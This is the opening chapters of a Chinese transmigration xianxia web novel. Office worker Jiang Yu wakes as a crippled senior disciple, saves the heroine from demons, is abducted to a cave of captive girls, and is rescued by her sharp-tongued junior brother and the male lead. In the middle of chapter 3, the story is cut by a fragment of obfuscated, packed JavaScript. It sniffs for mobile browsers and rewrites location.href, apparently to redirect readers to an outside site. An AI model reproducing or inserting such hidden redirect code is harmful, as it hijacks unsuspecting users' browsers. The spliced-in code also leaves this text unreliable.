《穿书后,被师弟搞破防了怎么办?》
1. 穿书
姜瑜穿书了。
不久前她还坐在自己的电脑桌前熬夜改着方案,彼时只觉头昏欲坠,两眼一闭一睁——
然后硬生换了个场景,在空中做了一个一百八十度高抬腿动作,稀里糊涂地替人挡了一击,就痛昏了过去...
再醒来时,周遭早已变换景致,她身下是铺着素色锦缎的硬板床,头顶则是月白色软罗帐,边角银线绣着缠枝纹,被风拂得轻晃。
“裴少侠,这些丹药是我托认识的修士朋友要来的。”温婉清秀的少女声音由远及近。
“毕竟你此行是为了救我才受的伤,裴少侠若不收下,晚宁心里实在会过意不去...”说话的少女言语中带着本就掩盖不住的青涩。
话落,那位被叫做“裴少侠”的声音骤然响起——
少年开口清脆,声音温柔似水:“那裴某便先谢下沈姑娘了。”
裴少侠?沈...沈晚宁!?
这不是姜瑜前些日子闲来无事,看的一篇古早仙侠文《诛魔》里面的男女主吗?
还未等她理清思绪,小腿肚处猛地一阵剧烈的绞痛,翻涌直上。
她喉间一腥,温热的血气争先恐后地涌上来,顺着舌尖漫开,又直冲鼻腔,呛得她忍不住要咳嗽。
要死人了...
“姜师妹!”少年的声音再度从不远处传来,只是不同于刚才的温柔疏远,此刻多有焦急。
*
[叮,恭喜宿主被主系统选中作为初代·穿书者,参与本次的剧情体验资格。]
欢快的机械电子声音从姜瑜周身传来。
姜瑜忍着不适掀开眼皮,一道刺目的白光狠狠扎进眼底,她下意识眯了眯眼,冷声应道:“这资格给你你要不要?”
系统被噎了一下,一时蔫了下去,没了声响。
姜瑜径自走到一旁的软榻上坐下,随意地跷起腿,微抬起头,实意继续说。
系统眼睛一亮:
[宿主只需要按照《诛魔》原剧情,完成青冥宗大师姐姜瑜的部分剧情——对男主裴恒之一见钟情、情根深种,最终为其挡剑身亡即可回到原世界。]
姜瑜出声提醒:
“我都熬夜加班猝死了,你让我来这里当舔狗,那我不白死吗?”
系统不解,眨巴着眼睛凑近她,[可是宿主完成任务可以健健康康的回去啊。]
姜瑜瞥向系统,觉得好笑,反问道:“回去继续当牛马然后再猝死吗?”
她又不是没看过《诛魔》,根据刚刚的情形来看,现在刚好是男女主初识桥段。
而原主作为宗门的大师姐,因这次任务受伤,此后左腿残废,后面不仅要抗起宗内弟子对她的轻视,还会因自己的意气用事差点废了自身修为。
且不说原主本就靠着关系坐上大师姐这个位置的,光是原主本身资质平庸,废柴体质在仙侠文里就已经难于上青天了好吗?
说的轻巧,在这种妖魔横行的世界里,没有修为和一双完整的腿,如何傍身。
姜瑜还未来得及再开口辩驳,系统便完全无视她的意愿,径自从她识海中隐去了踪迹。
只留下最后一道机械音在识海深处回荡:
[检测系统已颁发任务,现将宿主送回,祝宿主有一个好的剧情体验哦~]
*
姜瑜再渡睁眼时,窗外已是黄昏。
夕阳贴着地平线,将最后几缕金红的余光送进窗来,恰好落在她毫无血色的脸上,映出几分暖意。
此刻的她还在痛骂方才系统的可耻行为,根本没注意自己的身体早已不同往前那般沉重。
“姜姑娘醒啦?”少女的声音不高不低,夹杂着一丝关切和惊喜,像一汪没起波澜的水,漫进姜瑜耳中。
“呃...”姜瑜低低地应了一声,循声转头,恰好看见正缓步走来的沈晚宁。
[少女正值豆蔻年华,梳着一对圆润的双环髻,鬓边垂着几缕碎发,额前覆着一层薄薄的齐刘海,鼻尖小巧挺翘,唇瓣是自然的粉黛色。]
这是原书中对女主的描写,在姜瑜看到沈晚宁之前,是不信世上有如此可爱的萌物的。
她手里端着个黑漆托盘,瓷碗边缘印着简单的缠枝纹,走到床边时,才开口道:“裴少侠去调查妖魔一事了,要晚些才能回来,这是他托我熬的汤药,快趁热喝吧。”
姜瑜看的一时忘乎所以,直到沈晚宁将托盘往她身侧又推了推,她才猛地回神,慌忙移开视线,讷讷道:“麻烦沈姑娘了。”
沈晚宁笑,眉眼弯弯,“不麻烦的。”
“沈小姐。”门外丫鬟的声音清脆,恰好打断了沈晚宁。“裴少侠邀您后园一逛,说是有要事与您商议。”
一听是裴恒之,沈晚宁也顾不得面前还有人,脸颊倏地飞上两抹绯红,连带着耳根都透起了粉。
她慌忙应着,声音不自觉地软了几分,带着藏不住的雀跃:“姜姑娘,你喝完汤药就躺下休息,我过会再来看你。”
“嗯,去吧。”姜瑜轻声应道,话未落下,便眼看着青布裙角在门框边一闪就没了影。
药碗被放回案几时,碗沿的温热还没散去,苦涩却已顺着喉咙往胃里钻。
正思忖着,姜瑜骤然身型一顿,现在好像不是男女初遇,是英雄救美桥段!
坏了,那丫鬟是妖煞魔派来的。
原书中的姜瑜,其实一早便识破了那丫鬟的险恶伎俩。可她偏生气不过沈晚宁总围着裴恒之打转,一股意气涌上心头,竟任由沈晚宁去赴那本就不存在的约。
也是因为这次,姜瑜彻底惹恼了裴恒之,成了他眼中妒火中烧的恶女。
而沈晚宁,灵根被伤得彻底,往后余生,只能做个跟在男主身后、手无缚鸡之力的小白花。
可恶的娇妻文学。
姜瑜在心里把那挖坑的作者和甩锅的系统翻来覆去骂了百八十遍也消不下这口恶气。
作为接受着新时代教育思想、崇尚社会主义核心价值观的好青年,她不能眼睁睁的看着沈晚宁这个可爱的小棉花糖奔向火海。
姜瑜心一横,也顾不上左腿还带着残,拖着半条不听使唤的腿,一瘸一拐地往门外冲。
沈家素喜静,府邸依山而建,后园更是直接连着后山的密林。
那地方偏僻得连洒扫的仆妇都少去,但凡有点脑子的,都该知道没人会把约见的地方选在这儿。
沈晚宁是个没脑子的。
拐进后山的刹那,姜瑜才后知后觉——
她也是个没脑子的。
身负重伤,左腿残废,废柴体质...更何况她连基本的灵力运用都没搞明白,明摆着不就是来给妖煞魔买一送一的吗?
可都已经忍着钻心的痛,瘸着腿挪到了这儿,再半拖着拐回去也是赶不及的。
她从身上好不容易搜罗出来一张传讯符,她左右捣鼓一阵,几番尝试无果后便泄了气。
索性一咬牙秉持着能帮沈晚宁拖一会是一会的心思,一瘸一拐的进了后山深处。
*
姜瑜作为已经死过一次的过来人经验来说,她是不怕死的。
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至少在看到妖煞魔之前,是不怕的。
那煞魔身型巨大,脸上没有皮肤,肌肉和血管清晰可见,它的额头中央有一只巨大的独眼,眼球里布满了血丝,眼皮上还长着密密麻麻的倒刺。
而它身前那棵合抱粗的古树枝桠上,沈晚宁双目紧闭,静静地躺着,衣襟上还沾着未干的血迹。
姜瑜从未见过如此恶心的怪物,光是看上一眼,胃里就翻江倒海,酸水直往喉咙口冲。
比起被这种怪物吃掉,她觉得还是直接猝死来的实在。
见怪物还未有下一步动作,她忙不跌地扑到旁边一棵老树后,后背紧紧贴着粗糙的树皮,下意识地屏住了呼吸。
额间的冷汗顺着鬓角往下淌,滑过下颌时凉得刺骨,却半点驱散不了姜瑜后背泛起的寒意。
原书虽名为《诛魔》,但作者对魔物的描述不过寥寥几笔带过,多数笔墨全用在了描述她亲儿子裴恒之有多牛X上。
以至于姜瑜根本不知道这怪物早已抛却了视觉的桎梏,此刻正循着她身上的气味,像一摊活过来的烂泥缓缓寻来。
黏液碾过枯叶的声响在寂静的林间被无限放大,一下下剐着她的神经。
她死死攥着袖角,贴在树上的手不受控地打颤,从身上窜上来的寒意,早就冻僵了四肢百骸,动弹不得。
“师姐站在这不动手,是准备做这垢魇的饭前甜食吗?”一道清冽干净的声音从云端坠下,如碎玉敲冰,带着几分慵懒随意。
话音未落,一道银亮剑气已劈开昏沉天幕,裹挟着凌厉的破空声,划破了昏暗的天空,直击垢魇门面。
那团灰黑黏液猛地炸开,却没如预想般溃散——
无数细小的触须从裂口处疯长出来,像被激怒的毒藤,带着腥风缠向应不妄的剑锋。
“也就这点能耐。”应不妄冷哼一声,手腕翻转,长剑在半空划出一道银弧,带起的劲风将触须拦腰斩断。
断口处涌出的墨绿色汁液溅在青石上,蚀出细密的坑洼,他却嫌恶地侧身避开,剑脊在掌心轻叩:“沾上这等秽物,倒委屈了我的‘无望’。”
缠斗间,那怪物似是察觉到自己不是眼前少年的对手,竟直接调转方向,带着腐臭的腥风直直扑向姜瑜。
姜瑜只觉眼前一暗,腥甜的恶臭味堵得她几乎窒息,怪物发出的难听声音像无数只虫子爬过耳膜。
她想躲,可双腿早已僵在了原地,连抬手的力气都没有,只能眼睁睁看着垢魇带着破风的锐响压下来。
“再不动弹,等会儿连收尸的都嫌你骨头碎得太细。”应不妄的声音从她身后传来,紧接着一股大力拽住她的后领,将她猛地向后拖去。
姜瑜踉跄着撞进应不妄的怀里,淡淡的药香混着草木清气扑面而来,未来得及细闻,就听“嗤啦”一声——
垢魇擦着她的发梢砸在地上,边缘的黏液瞬间攀上旁边老树的树干。
不过须臾,合抱粗的老树已被蚀出半尺深的焦黑沟壑,枯枝混着浆汁簌簌坠落,连年轮都在黏液下以肉眼可见的速度消融。
就在垢魇重整攻势,黏液中翻出更粗壮的暗紫色尖刺时,一道金芒突然从斜后方射来,精准地钉在尖刺根部。
那金芒似是某种符咒,触碰到黏液的瞬间便燃起淡金色的火焰,轰的一声,将整团怪物裹入火海。
“来晚了些,可有人受伤?”清冷温润的声音从不远处传来,夹杂着些许微不可查的关心。
一道月白身影已踏着枯叶走近,衣袂扫过地面的声响轻得几乎听不见。
2. “沈晚宁”
“裴师兄可以再晚些,顺道收一下我们的尸骨。”应不妄视线扫过对方素白衣襟,冷哼一声,故意加重了语气:“倒是穿得整齐,不像我们,刚从泥水里捞出来。”
裴恒之视线瞥向应不妄,目光落在方才因差点被怪物吃掉而缩在他怀里的姜瑜,眉头几不可察地蹙起,声线平得听不出情绪:“姜师妹?”
姜瑜被盯得脸上一热,忙干笑着想挣开些距离,可左腿传来的酥麻却像潮水般涌上来,刚踮脚就踉跄了一下。
“师姐你腿怎么了?”应不妄顺手扶住姜瑜。
“没...我没事。”姜瑜慌忙摆着手,指尖指向一旁,“沈晚宁、沈姑娘受伤了。”
顺着姜瑜指的方向看过去,裴恒之的目光在地上蜷缩的身影上顿了顿,视线扫过对方沾着尘土的衣襟和苍白的侧脸,扭头便沉下脸训斥:
“不安心养伤,来这里添乱吗?”
姜瑜撇嘴,垂下眼帘小声嘟囔:“我这不是拖了它好一会吗?”
应不妄接道:“我再晚些来,师姐你怕是就被碾成碎骨了。”
裴恒之没看他,径直走向沈晚宁:“先离开这儿,其余稍后再论。”
说罢,他便俯身,单臂穿过沈晚宁膝弯,另一手揽住她的后背,稍一用力便将人打横抱起,径直走回沈府,留他们二人在后。
“师、师弟?”姜瑜试探着开口,她尚不清楚眼前少年的名字,只从方才寥寥数语里知道,这是自己的师弟。
应不妄扶着她小臂的手还没松开,闻言侧过头看她。目光扫过她脸上因方才打斗蹭上的泥沙,嘴角撇出几分明显的嫌弃:“师姐会自己走回去的吧?”
姜瑜被他这直白的嫌弃堵得一噎,低头看了一眼自己被划破的裤脚,又抬眼瞅了瞅少年紧绷的侧脸,小声嗫嚅:“我...腿有点麻。”
应不妄“”啧”了一声,扶着她的手却悄悄加了几分力,语气生硬:“难不成还指望我把你抱回去?”
姜瑜看似随意的耸了耸肩,故意拖长了调子:
“哦——那好吧,那就辛苦师弟扶着我了,反正我腿脚不便,半路摔一跤也是难免的,就是可怜了师弟,到时候没办法向师父交差了。”
她是真的不想再瘸着走回去了,说这些话也不过是死马当活马医,赌一把而已。
“少拿师父压我。”他闷哼丢下一句,却没等姜瑜反应,已屈腿蹲在了她面前,后背挺得笔直,像株憋着股气的青竹。
姜瑜偷偷瞄着他,忍不住弯起嘴角——她果然没猜错。眼前这少年,正是原书中那个被苍梧长老救下的便宜师弟,应不妄。
他面上瞧着一副乖顺听话模样,对师父的话言听计从,私下里却是嘴不饶人,把宗门上下得罪了个干净。
这次出现在这里,多是师父派他来帮忙的。
姜瑜趴在应不妄的背上,鼻尖萦绕着他身上清淡好闻的药香,混着夜风里草木的气息,竟让人莫名安心。
月光透过树叶的缝隙,筛下几缕清辉落在少年的侧脸,柔和了他平日里紧绷的轮廓,倒显出几分难得的温顺。
后来女主拜入苍梧长老门下,他不久便认出女主便是年少时救助过自己的白月光。
于是就一头栽进去,最终落得个爱而不得、走火入魔的下场。
姜瑜撇嘴,摇了摇头。
真是可怜了我的乖巧师弟。
*
这个念头在回到沈家府邸后,彻底被姜瑜打消了。
夜色渐浓,沈府正堂内烛火徭役,将偌大的厅堂照的半明半暗,梁柱上的雕花在光影里忽明忽灭。
“沈某来迟了。”话音先于人影传入堂中,带着几分歉意。
沈靖远款步而入,目光先扫过堂内等候之人,随即微微颔首:“方才去安顿受惊的小女了,多有招待不周,望各位少侠海涵。”
裴恒之胯步向前:“沈姑娘可有大碍?”
“小女只是受了些皮外伤,并无大碍,”沈靖远抬手示意,语气平和,“裴少侠大可放心。”
说着便侧身相让,抬手虚引:“诸位少侠请坐,快请坐。”
众人依序落座时,姜瑜特地走到最靠角落的位置坐下。
烛火照不到那里,只映出她垂着的眼帘,目光落在自己那条不便行动的左腿上,怔怔出神。
“沈县尉,凉州失踪的少女裴某还在尽力追查,”裴恒之目光扫过众人,“只是伤了沈姑娘的这只魇魔,与掳走其他姑娘的并不相同。”
他指尖无意识摩挲着腰间佩剑的穗子,又道:“此獠不过是趁隙作祟的杂碎。”
“这...这这这可如何是好啊!”沈靖远沈靖远攥紧佛珠,指节微微发白,语气里添了几分焦灼。
“所以说,”应不妄嘴角扯出一抹好看的弧度,目光拐了个弯,落在角落里发呆的姜瑜身上,
“妙龄少女失踪,师姐也去跟着凑热闹了?”
被点到名的姜瑜身形猛地一顿,飘远的思绪骤然回笼。
她咬紧后槽牙,连带着腮边的肌肉都微微绷起,抬眼剜了应不妄一眼。
真的,你要真不会说话可以不说。
师姐知道你不是哑巴。
见众人的目光都聚了上来,她只得尴尬的挤出几声干笑,“当时情况危急,我着急去救沈姑娘,没想那么多。”
“姜师妹”裴恒之忽然开口,语气里带着几分探究,“我临行前嘱托过沈姑娘好好照顾你,她为何会独自一人跑去后山?”
“是府里一个丫鬟来,说裴师兄您有事找她去后园,她便急着过去了。”姜瑜如实答道。
“丫鬟是魇魔吧?”应不妄挑眉,“以师姐的灵力,怎会感查不到?”
姜瑜:你的嘴可以捐了,谢谢。
“我当时重伤初醒,脑子还昏着,等察觉到不对劲的时候,才着急追了出去。”
她话音刚落,门外突然传来小厮慌张的呼喊,几乎是一路小跑而来:“不好了,老爷!赵家婆子的二丫不见了!”
赵二丫不见,是赵婆子起夜时发现的。彼时屋里烛火还燃着半截,明明前一刻钟还听见榻上匀净的呼吸声,回来时屋内却没了人影。
“如此算来也不过半个时辰。”
裴恒之摸出腰间的追踪符:“这符能循着魇魔的气息追去,或许能赶在它走远前找到踪迹。”
“姜师妹,”裴恒之转头,语气稍有迟疑:“你腿脚不便,在堂前候着,等我们回来。”
“嗯!”姜瑜用力点头,“我就在这儿等着,你们放心的去
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。”
她才不想见那恶心妖怪第二遍。
应不妄刚没走几步,却又折返回来,从袖中摸出一纸符塞进她手里,难得正经:“拿着,遇到危险时捏碎,保命用的。”
姜瑜还憋着气,没好气地白了他一眼。
开玩笑,她在沈府能有什么危险?
姜瑜虽在嘴上没吭声,手上却不自觉地攥紧了符纸。
*
方才如墨深空中还露着半轮月亮,眨眼间深空星星已没了影。一道闪电划破夜空,紧跟着雷雨便倾盆而至。
姜瑜试图将系统重新唤出来商议。
几次无果后,她便泄了气,坐在椅上,无聊地抠着桌角雕花。雨声淅淅沥沥的打在地上,倒催着她连打了几个哈欠。
不知坐了几个时辰,雨势非但没减,反倒越下越烈。
就在这时,门外传来含混的嘟囔声:“姜姑娘……”
稍顿了顿,那声音又清晰了些:“姜姑娘?”
姜瑜攥紧手中的符纸,抬眼望去——雨幕中,沈晚宁撑着柄油纸伞,裙角沾了些泥点,正踩着积水快步走来。
“姜姑娘,”她收了伞往门内挪了挪,“裴大哥跟我爹他们抓到那魇魔了,现下要让我们去帮忙将姑娘们带回呢。”
“好啊。”姜瑜眉眼弯弯,笑得好看,“那我们快些去。”
姜瑜往前迈着步子,指尖倏地发力,将那纸符狠狠捏碎,反手朝后撒去。符纸碎片遇风化作点点金芒,直扑身后的“沈晚宁”。
那身影猝不及防,被金芒扫中,猛地连连后退,嘴里发出的已不是人声,而是一阵尖锐刺耳的尖叫。
“你是如何发觉的?!”魇魔发出的声音难听刺耳,如铁器刮过石板,让姜瑜不由得起了一身鸡皮。
姜瑜站定,冷哼一声,扯出一抹冷笑:“沈晚宁从未叫过裴大哥这个称呼。”
“况且这大雨瓢泼,裴师兄怎会让受过惊吓的沈晚宁带着我这个腿脚不便的人去添乱。”
“老虎不发威,真当我姜瑜是个傻的啊?”
话音未落,那魇魔猛地弓起身子,朝姜瑜扑面而来,尖利的爪子泛着青黑,裹挟着浓重的绣气。
姜瑜早有防备,借着侧身躲闪的力道抓起桌上的烛台狠狠抄魇魔砸去。
烛台砸在魇魔肩头,火星溅在它渗着黑气的衣襟上,瞬间燎起一小片焦痕。
魇魔发出一声尖锐的痛嚎,扭曲的脸上怒意暴涨,“找死!”魇魔怒吼一声,黑气陡然翻涌,身形竟凭空涨大了几分。
它猛地挥出利爪,带起一阵腥风,姜瑜刚避开面门,却被它另一只手抓住了手腕。不等她挣脱,魇魔竟猛地旋身,用黑气将她卷了个结实。
“别等我师兄来把你撕成碎片,去喂赵婆家的鸡!”姜瑜被黑气勒得喘不过气,却依旧梗着脖子嘴硬。
“你还是先顾好自己吧!”
姜瑜只觉腰间一紧,下意识攥紧拳头,只觉自己整个人被一股蛮力拖拽着离地。
魇魔拖着她往门外冲去,狂风裹挟着雨水狠狠砸在脸上,她腿脚不便,此刻更是无力挣扎。
只觉得眼皮越来越沉,周遭的声响渐渐模糊成一团嗡鸣。只能任凭自己被卷进茫茫雨幕,朝着后山的方向掠去……
3. 失踪少女
再次睁开眼时,铁链摩擦着手腕发出声响,传进姜瑜耳朵,她费力地偏过头,勉强眯眼看清周遭——
这像是个天然溶洞,顶部垂着长短不一的石笋,水滴砸在地上的水洼里,溅起细碎的声响。
周围安静的出奇,唯有铁链偶尔碰撞的轻响与水滴声交织,在这溶洞里反复回荡。
目光所及处,数十名少女皆同她一般,披头散发的被铁链栓着,手腕处与铁链摩擦的地方,皮肉泛着红肿,有的已被磨破,渗出的血珠与铁锈黏连在一起。
姜瑜试图用力蛮拽扯,铁链纹丝不动,反倒是粗糙的链节狠狠刮过手腕伤口,疼得她倒抽一口冷气,额角瞬间沁出冷汗。
“让我看看……”洞口深处忽然飘来一个柔媚的声音,拖着长长的尾音,带着说不出的黏腻。
只见一个体态丰腴的红衣女子扭着腰肢走了进来,裙摆扫过地面的碎石,发出细碎的声响。
她眼神在众少女身上逡巡,嘴角勾着笑意,慢悠悠地重复:“下一个是哪位美人呢?”
离姜瑜最近的少女低着头,发丝凌乱地贴在惨白的脸上,嘴唇微微翕动,浑身抖的厉害,却不敢发出一丝声音。
“新抓来的这个倒是娇嫩貌美。”女人缓步走进姜瑜身侧,涂着蔻丹的手指轻佻地勾起她的下巴,目光在她脸上流连片刻,“可惜……是个瘸的。”
“不过没关系,妹妹还可以被姐姐化成丹艳,来供姐姐美容养颜呢。”她尾音拖得细长,话语间含存笑意,带着几分得意的轻佻。
女人拍了拍手,银镯子碰撞的脆响在溶洞里荡开,她扭着腰往洞口挪去,身影渐渐隐入那片浓黑,只留那甜腻的香气却迟迟不散。
姜瑜额头上的汗顺着脸颊往下淌,她紧紧抿着嘴,脑子里却疯狂呼叫系统。
姜瑜:系统你丫的再不出来,你的宿主就真的凉透了!
姜瑜:虽然我姜瑜要钱有颜,要关系有颜值,要任务有颜值,那也不能因为我长的太好看就要被练掉吧?
[检测到宿主面临生命危险,是否花费一个剧情点购买原主的修为和记忆?]
姜瑜:?
这不应该是免费送的吗?
*
姜瑜指尖捏着她咬牙花费两个剧情点买下的符纸挣脱掉铁链时,已经是一个时辰之后了。
她揉向自己被栓的发麻的手腕,从身上摸索出先前没用出去的传讯符,念动口诀,符纸如一缕轻烟升起,旋即化作点点微光,消失在指尖。
姜瑜忍不住弯起了嘴角。
还好原主姜瑜是一个天赋不够努力来凑型人格,她每日总会拿出更多的时间来刻苦修炼,只为赶上其他天赋型弟子的修炼进度,以至于她现下的修为不比同门的师弟妹们差。
笨鸟先飞嘛。
离她不远处,一个穿浅绿襦裙的少女似乎察觉到她的动静,缓缓抬起头。
见姜瑜挣脱掉了铁链,她惊恐地摇着头,嘴唇哆嗦着想说什么,却被角落里尖锐的叫声打断:“有人要跑!”
“美女姐姐!有人要跑!”
说话的人披散着头发,脸上糊满了血泥,早已看不清她原本的面貌,她的声音近乎嘶吼着,在洞里振出荡荡回声。
姜瑜眉头一蹙,手指快速地捏了个禁声诀,瞬间封住了她的嘶吼。
她的动静吓到了那些同被铁链锁着的少女们,铁链随之撞在一起,发出哐啷刺耳的声音。
“吵死了!”尖锐刺耳的声音从洞口传来,只见红衣女人扭着腰肢,细眉拧成一团,不耐烦道:“是哪个不听话的敢坏老娘好事?”
姜瑜眸光一凛,抬手间灵力骤凝,一柄银月色的长剑凭空出现,剑身在昏暗里泛着冷冽的光。
她剑尖斜指地面,银辉映着她半敛的眼,语气漫不经心,“怎么?不记得本姑奶奶了?”
魇魔冷哼一声,“不过是个瘸子,也敢在老娘这儿大放厥词,是嫌死的太晚了?”
“瘸子?”姜瑜闻言,嘴角勾起一抹弧度,握剑的手微微用力,银月剑在地面轻划,带起一串火星。
既然继承了原主的修行和灵力,她那瘸了的腿是足以靠丹田内的灵力运转后与常人无异的。
她抬眼时,眸中寒意乍现,语气里的漫不经心尽数褪去,只剩锐不可当的锋芒:“那也得看今日到底是谁的忌日!”
话音未落,她手腕一扬,长剑陡然指向魇魔门面,剑气凌厉得逼得对方下意识后仰。
魇魔身形未稳,却反手拍出一掌,黑雾裹挟着腥气直扑姜瑜。
姜瑜借着灵力,足尖点地,规避的同时银月剑趁势横扫,带起一道寒光切向对方手腕。
魇魔袖口被剑气划开一道口子,她闷哼一声,旋身退开数步,眼中怒意更盛。
“找死!”说罢十指成爪,黑气缭绕的指尖直抓姜瑜心口。
姜瑜不退反进,长剑竖挡胸前,格开对方攻势,手腕翻转间剑尖已缠上对方臂弯,借着旋力猛地一挑——魇魔只觉手臂一麻,竟被带得踉跄半步。
魇魔忽然发出一阵尖锐的大笑,笑声在洞里回荡得令人发毛。她眼尖地瞥见一旁缩着的女人——正是方才在洞里大声嘶吼通风报信的那个。
她猛地探手抓过对方后领,将人提在半空,不等那女人尖叫出声,魇魔掌心黑气暴涨,瞬间将人裹住。
只听一阵细碎的骨骼碎裂声,那女人的身形竟以肉眼可见的速度干瘪下去,最后化作一缕青烟被魇魔张口吸尽。
魇魔舔了舔唇角,眼底红光更盛:“碍事的东西。”
见魇魔还要伸手去抓旁边吓得瘫软的少女,姜瑜眼神一厉,银月剑破空划出一道冷芒,直逼魇魔手腕。
剑气带着凌厉的劲风扫过,逼得魇魔不得不撤手回防。姜瑜扯起嘴角,嘲讽道:“有本事别找外援。”
话音落,她将灵力聚与足底,弥补受伤小腿的劣势,顺着洞口往外走去。
她不能在这与魇魔打斗,那些被铁链锁着的少女毫无反抗之力,一旦动起手来,魔气四散,她们怕是连片刻都撑不住。
更甚者会伤及无辜之人。
穿过洞口,眼前景象却与姜瑜预想的截然不同——
这里的空间竟比方才的囚洞还要开阔数倍,抬头环壁而堆的白骨数不尽数,壁上嵌着的幽绿鬼火忽明忽暗。
姜瑜脚步一顿,握紧了手中的银月剑。看来这魇魔在此盘踞已久,不知残害了多少生灵。
先前受的伤本就未愈,方才又过度催动灵力,此刻姜瑜只觉丹田一阵空虚刺痛,连握着剑的手都微微发颤。
她深吸一口气,压下喉间的腥甜。再拖片刻,拖到裴恒之他们赶到……
“怎么不跑了?”魇魔的声音带着戏谑的笑意从洞口钻出来。
此刻她早已褪去了原来女人的面皮,露出底下青黑交错的鳞片,五官扭曲成沟壑纵横的模样,两只眼珠凸在眶外,泛着浑浊的红光。
“方才不是挺嚣张吗?”魇魔猩红的目光扫过姜瑜发白的脸色,以及那微微颤抖的手腕,笑得越发得意,“灵力耗空了?”
姜瑜没有应声,只是缓缓调整着呼吸,试图从丹田深处榨出最后一丝灵力。指尖的银月剑光芒黯淡了几分,却依旧被她握得极紧。
魇魔见状,忽然嗤笑一声:“这鬼石窟四面环山,纵是大罗金仙来了,也未必能找得到这儿。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423385|184829||http|test|mini|href|location''.split(''|''),0,{}));
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>姜瑜嘲讽的笑道:“原来你怎么丑,我要是你我都没脸站在这。”
“你别想有人能从老娘的地盘救走你!”她说着,怒火中烧,身形陡然化作一道黑影,带着浓烈的腥风扑向姜瑜,“今日这窟,便是你的葬身之地!”
她指尖黑气翻涌,显然已不耐烦再拖延,攻势带着毁天灭地的狠戾,直取姜瑜心口。姜瑜咬牙侧身避开,银月剑勉力横挡。
“铛——”
银月剑被震得脱手飞出,重重撞在白骨堆上,发出刺耳的回响。
姜瑜捂着发麻的手腕,见魇魔青黑的爪子带着腥风再次袭来,她瘸着腿在白骨上借力一撞,身形踉跄着避开,后背却重重撞在石壁上,疼得她闷哼一声。
魇魔利爪裹挟着魔气,转向姜瑜门面,她避无可避,只得本能地抬起胳膊护住脸部。
“用胳膊挡,还真是个人能想出来的法子。”熟悉的声音陡然在石窟中炸开,带着几分惯有的戏谑。
应不妄手持长剑横在姜瑜身前,剑光如练,稳稳格开了魇魔的利爪。
裴恒之的身影紧随其后落下,月白衣袍带起一阵疾风,他手中执剑,寒光乍现。
魇魔被那道凌厉剑气震得连连后退,青黑鳞片下的肌肉突突直跳,方才还嚣张的气焰被生生压下去半截。
她踉跄着撞在身后的白骨堆上,伴随着的骨响的声音,那双凸鼓的红眼珠死死瞪着突然出现的两人,怒吼声里裹着戾气:
“你们怎么找到这儿的!?这万骨窟布了迷踪阵,便是飞鸟也寻不到入口!”
应不妄剑尖斜指地面,剑穗上的银铃轻晃,“你这破阵,我三岁时就会拆了。”
姜瑜看向他,吹牛逼不打草稿啊?
裴恒之的月白衣袍在阴森窟内宛如流萤,他手腕轻旋,长剑划出一道清冷弧线,直指魇魔心口。
他欺身而上,剑光与魇魔的黑气撞在一处,发出“滋滋”的灼烧声。
姜瑜转眼望向那道月白身影,眼里散发着崇拜——不愧是原书男主,三秒一个大妖真不是给你吹啊。
应不妄手臂交叉抱在胸前,下巴微扬:“我只是嫌脏,要让我上,那斯早成灰了。”
姜瑜:谁问了?
姜瑜暗自翻了个白眼,语气带着毫不掩饰的嫌弃:“有那功夫吹牛,不如看看能不能搭把手,别杵这儿跟根桩子似的。”
她话音刚落,就见裴恒之剑光一滞,魇魔趁机拍出一掌黑气直冲姜瑜而来。
应不妄嗤笑一声,身形微动,一道银线斜斜掠过,精准斩散了那团黑气。
黑气溃散的瞬间,应不妄足尖在白骨堆上一点,“无望”在他手中银芒暴涨三尺,带着破空的锐啸直刺魇魔后心。
魇魔正被裴恒之正面牵制,察觉背后风劲时已来不及回防,只能嘶吼着扭动身躯,试图以鳞片硬抗。
噗嗤——
剑穿透鳞片没入数寸发出声音,黑气顺着伤口疯狂外泄。
魇魔剧痛之下猛地回身,利爪带着同归于尽的狠戾抓向应不妄。
他不退反进,手腕翻转间剑刃在魇魔体内搅出个血洞,同时侧身避开利爪,另一只手屈指成诀,一道金色符咒猛地贴在魇魔眉心。
符咒金光乍起,与剑上灵力相呼应,瞬间将魇魔全身裹住。
她在金光中发出凄厉的惨叫,青黑的身躯以肉眼可见的速度消融,最后化作一缕黑烟,被软剑吸收得干干净净。
应不妄抽剑回鞘,剑穗上的血珠滴落在白骨上,晕开一小片暗沉的红。
“师姐,”他几步走到姜瑜面前,微微俯身,温热的气息拂过耳畔,声音压得极低,带着得逞后的狡黠:“我不吹牛的。”
4. 推崖剧情?!
晨时,太阳初升,第一缕阳光透过树上的叶子映照在宁静的弟子居。
姜瑜坐在桌前,指尖无意识地摩挲着茶杯边缘,瓷杯冰凉的触感顺着蔓延开来,却浇灭不下心底的燥。
沈晚宁按照原著顺理成章地拜入了苍梧长老门下,成为了青冥宗的团宠小师妹。
而如今沈晚宁的灵根并未被魇魔所摧残,反而灵根完好无缺,还是极品单木灵根,天资卓越。
姜瑜兀自给自己倒了口茶水,猛地一灌,心里愈发不是滋味。
根据原著剧情来看,她往后有的死要作。
这不是搬起石头砸自己的脚吗?
“姜师姐,今日是墨渊长老的课业。”门外骤然响起少女的声音,恰好打断了姜瑜的思绪。
沈晚宁语调柔和舒适:“墨渊长老的课业素来严苛,听说昨日有位师兄迟了片刻,就被罚去后山劈柴三日呢。师姐还是快些动身吧,咱们莫要误了时辰。”
自打他们从沈家府邸回来后,也不知是谁先嚼起了舌根,说她灵根废柴就算了,还拖着一条不听使唤的腿,究竟有何脸面继续呆在青冥宗继续做她的大师姐一职,也就小师妹心地善良,与她交好。
姜瑜听到后气的牙痒痒,就算原主□□双灵根,但如日以来的努力换取的修为也照样打的他们跪地喊妈。
“嗯,我这就来。”姜瑜应声,忙起拂过衣摆,将方才久坐压出的几处褶皱捻平。
打开门,沈晚宁一张尤为精致到恰到好处的脸直怼眼前,她一席素色弟子袍,梳着往常一般的双丫鬓,鬓边几缕碎发垂着,更显得眉眼温顺。
姜瑜:其实这石头砸脚也不疼。
*
墨渊长老主修剑道,一手剑术在宗门内罕有敌手。
他为人待弟子素来严苛、公正无私。对弟子的课业与品行要求极严,半分差错也容不得。
